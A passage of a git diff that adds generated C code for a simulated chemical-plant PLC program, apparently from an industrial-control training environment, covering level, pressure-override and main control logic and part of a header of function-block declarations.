+ (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE99_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE99_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT2(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE4_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE4_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT3(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE5_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE5_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT4(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE7_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE7_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_VAR(data__->RUN_BIT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->MOVE99_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE99_OUT,0,retain) + __INIT_VAR(data__->MOVE4_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE4_OUT,0,retain) + __INIT_VAR(data__->MOVE5_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE5_OUT,0,retain) + __INIT_VAR(data__->MOVE7_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->,MOVE99_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->RUN_BIT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE99_ENO,)) { + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->MOVE99_OUT,)); + }; + __SET_VAR(data__->,MOVE4_OUT,,__MAIN_MOVE__UINT__UINT2( + (BOOL)__GET_VAR(data__->MOVE99_ENO,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE4_ENO,)) { + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->MOVE4_OUT,)); + }; + __SET_VAR(data__->,MOVE5_OUT,,__MAIN_MOVE__UINT__UINT3( + (BOOL)__GET_VAR(data__->MOVE4_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE5_ENO,)) { + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->MOVE5_OUT,)); + }; + __SET_VAR(data__->,MOVE7_OUT,,__MAIN_MOVE__UINT__UINT4( + (BOOL)__GET_VAR(data__->MOVE5_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE7_ENO,)) { + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->MOVE7_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h new file mode 100644 index 0000000..d52a5d5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h @@ -0,0 +1,431 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + 